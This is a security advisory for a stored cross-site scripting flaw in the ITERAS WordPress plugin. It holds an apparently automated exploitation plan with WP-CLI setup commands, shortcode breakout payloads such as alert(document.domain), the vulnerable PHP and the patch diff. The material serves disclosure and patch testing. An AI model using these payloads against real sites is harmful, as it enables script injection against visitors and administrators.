ITERAS <= 1.8.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcodes (iteras-ordering, iteras-signup, iteras-paywall-login, iteras-selfservice) in all versions up to and including 1.8.2. This is due to insufficient input sanitization and output escaping in the combine_attributes() function. The function directly concatenates shortcode attribute values into JavaScript code within <script> tags using double-quoted string interpolation (line 489: '"'.$key.'": "'.$value.'"') without any escaping. An attacker can break out of the JavaScript string context by including a double-quote character in a shortcode attribute value and inject arbitrary JavaScript. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.8.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4078 (ITERAS <= 1.8.2) ## 1. Vulnerability Summary The **ITERAS** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** via several shortcodes: `[iteras-ordering]`, `[iteras-signup]`, `[iteras-paywall-login]`, and `[iteras-selfservice]`. …
Show full research plan
Exploitation Research Plan: CVE-2026-4078 (ITERAS <= 1.8.2)
1. Vulnerability Summary
The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via several shortcodes: [iteras-ordering], [iteras-signup], [iteras-paywall-login], and [iteras-selfservice].
The vulnerability exists in the combine_attributes() function (located in public/iteras-public.php), which is used to transform shortcode attributes into a JavaScript object for the ITERAS API. The function improperly handles input by directly concatenating attribute values into a double-quoted JavaScript string context:'"'.$key.'": "'.$value.'"' (Source: CVE description, line 489).
Because the $value is not escaped or sanitized for a JavaScript string context, an attacker can use a double-quote (") to break out of the string and inject arbitrary JavaScript code.
2. Attack Vector Analysis
- Authentication Level: Contributor or higher. Contributors have the
edit_postscapability, allowing them to create posts/pages and insert shortcodes. - Affected Shortcodes:
[iteras-ordering][iteras-signup][iteras-paywall-login][iteras-selfservice]
- Vulnerable Parameter: Any arbitrary attribute key-value pair passed to these shortcodes (e.g.,
[iteras-ordering x="PAYLOAD"]). - Preconditions: The plugin must be active. Some shortcodes may require the
profile_name(ITERAS URL-id) to be configured in the plugin settings to trigger the rendering of the vulnerable<script>tag.
3. Code Flow
- Entry Point: A user with Contributor privileges creates or edits a post containing a shortcode like
[iteras-ordering x='";alert(1)//']. - Shortcode Registration: In
public/iteras-public.php, the plugin registers shortcodes in the__constructmethod:add_shortcode( 'iteras-ordering', array( $this, 'ordering_shortcode') ); - Shortcode Execution: When the post is viewed, WordPress processes
the_contentfilter, triggeringordering_shortcode($atts). - Vulnerable Sink: The callback (e.g.,
ordering_shortcode) passes the$attsarray to thecombine_attributes()function. - String Concatenation:
combine_attributes()iterates through the attributes and builds a string:// Vulnerable line (as identified in CVE) $output .= '"'.$key.'": "'.$value.'"'; - Output: The resulting string is wrapped in a
<script>tag and echoed to the page, executing the injected payload in the visitor's browser.
4. Nonce Acquisition Strategy
This vulnerability involves Stored XSS through post content.
- Shortcode Rendering: No nonce is required to trigger the rendering of a shortcode when viewing a page.
- Post Creation (Injection): If using the WordPress Web UI to inject the shortcode, standard WordPress
_wpnoncevalues for post creation/editing are required. However, the automated agent can bypass the Web UI by using WP-CLI to create the malicious post directly in the test environment.
5. Exploitation Strategy
- Setup Plugin Settings: Configure dummy ITERAS settings to ensure the plugin attempts to render the API scripts.
- Inject Payload: Create a post as a Contributor containing the malicious shortcode.
- Verify Execution: Navigate to the post URL as an unauthenticated user or administrator and check for the execution of the injected script.
Payload Construction
Given the sink: '"'.$key.'": "'.$value.'"'
- Shortcode:
[iteras-ordering x='";alert(document.domain)//'] - Resulting JS snippet:
..., "x": "";alert(document.domain)//"}
6. Test Data Setup
- Configure Plugin:
wp option update iteras_settings '{"profile_name":"vulnerable-test","api_key":"dummy_key","signing_key":"dummy_key","paywalls":[]}' --format=json - Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Malicious Post:
wp post create --post_type=post --post_status=publish --post_title="ITERAS XSS Test" --post_content='[iteras-ordering x="\";alert(document.domain)//"]' --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- When navigating to the newly created post, the HTML source should contain a
<script>tag associated with ITERAS. - Inside that script, the attribute
xwill contain the broken string:"x": "";alert(document.domain)//". - A browser alert displaying the document domain should trigger.
8. Verification Steps
- Browser Verification: Use
browser_navigateto the post URL. Check if an alert was triggered usingbrowser_eval("window.confirm('Verification')")or by inspecting the console/DOM. - Source Inspection:
# Using http_request to check for the raw payload in the response body # Look for the specific pattern in script tags grep -C 5 "iteras"
9. Alternative Approaches
If [iteras-ordering] fails to render due to missing API configurations, try [iteras-signup] or [iteras-paywall-login].
If double-quotes are escaped by WordPress the_content filter (unlikely for shortcode attributes), try a payload using single quotes if the plugin logic allows it, or use HTML entities (though combine_attributes likely operates on the raw attribute array which should be unescaped at that stage).
Note on attribute keys: The CVE mentions the $key is also concatenated. If $value is somehow sanitized, the $key might also be a viable injection point: [iteras-ordering ";alert(1)//="test"].
Summary
The ITERAS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in versions up to and including 1.8.2. This occurs because shortcode attributes are directly concatenated into a double-quoted JavaScript string context within <script> tags without proper escaping, allowing attackers with Contributor-level access to inject arbitrary scripts.
Vulnerable Code
// public/iteras-public.php line 483 private function combine_attributes($attrs) { $transformed = array(); foreach ($attrs as $key => $value) { if (is_array($value)) { array_push($transformed, '"'.$key.'": '.json_encode($value)); } elseif ($value) { array_push($transformed, '"'.$key.'": "'.$value.'"'); } } if (empty($transformed)) return ""; else return ", ".implode(", ", $transformed); } --- // public/iteras-public.php line 511 function ordering_shortcode($attrs) { // automatically product prefill if GET-paramter is supplied if (isset($_GET['orderproduct']) && !isset($_GET['prefill'])) { $attrs['prefill'] = array("products" => $_GET['orderproduct']); } return '<script> document.write(Iteras.orderingiframe({ "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).' }));</script>'; }
Security Fix
@@ -361,7 +361,7 @@ 'user_url' => sanitize_text_field($_POST['user_url']), 'default_access' => sanitize_text_field($_POST['default_access']), 'paywall_display_type' => sanitize_text_field($_POST['paywall_display_type']), - 'paywall_box' => stripslashes($_POST['paywall_box']), + 'paywall_box' => wp_kses_post(wp_unslash($_POST['paywall_box'])), 'paywall_snippet_size' => sanitize_text_field($_POST['paywall_snippet_size']), 'paywall_integration_method' => sanitize_text_field($_POST['paywall_integration_method']), 'paywall_server_side_validation' => isset($_POST['paywall_server_side_validation']), @@ -483,10 +480,10 @@ foreach ($attrs as $key => $value) { if (is_array($value)) { - array_push($transformed, '"'.$key.'": '.json_encode($value)); + array_push($transformed, json_encode($key).': '.json_encode($value)); } elseif ($value) { - array_push($transformed, '"'.$key.'": "'.$value.'"'); + array_push($transformed, json_encode($key).': '.json_encode($value)); } } @@ -511,12 +508,12 @@ function ordering_shortcode($attrs) { // automatically product prefill if GET-paramter is supplied if (isset($_GET['orderproduct']) && !isset($_GET['prefill'])) { - $attrs['prefill'] = array("products" => $_GET['orderproduct']); + $attrs['prefill'] = array("products" => sanitize_text_field(wp_unslash($_GET['orderproduct']))); } return '<script> document.write(Iteras.orderingiframe({ - "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).' + "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).' }));</script>'; } @@ -524,7 +521,7 @@ function signup_shortcode($attrs) { return '<script> document.write(Iteras.signupiframe({ - "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).' + "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).' }));</script>'; } @@ -548,7 +545,7 @@ else { return '<script> document.write(Iteras.paywalliframe({ - "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).' + "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).' }));</script>'; } } @@ -558,7 +555,7 @@ function selfservice_shortcode($attrs) { return '<script> document.write(Iteras.selfserviceiframe({ - "profile": "'.$this->settings['profile_name'].'"'.$this->combine_attributes($attrs).' + "profile": '.json_encode($this->settings['profile_name']).''.$this->combine_attributes($attrs).' }));</script>'; }
Exploit Outline
The exploit requires an attacker to have at least Contributor-level privileges to create or edit a post. The attacker inserts one of the affected shortcodes (e.g., [iteras-ordering]) with a malicious attribute value designed to break the JavaScript context. A payload such as [iteras-ordering x='";alert(1)//'] results in the plugin generating a script tag where the attribute 'x' is defined as "", followed by the injected JavaScript alert(1), and finally comments out the remainder of the intended string. When a victim (including an administrator) views the post, the injected JavaScript executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.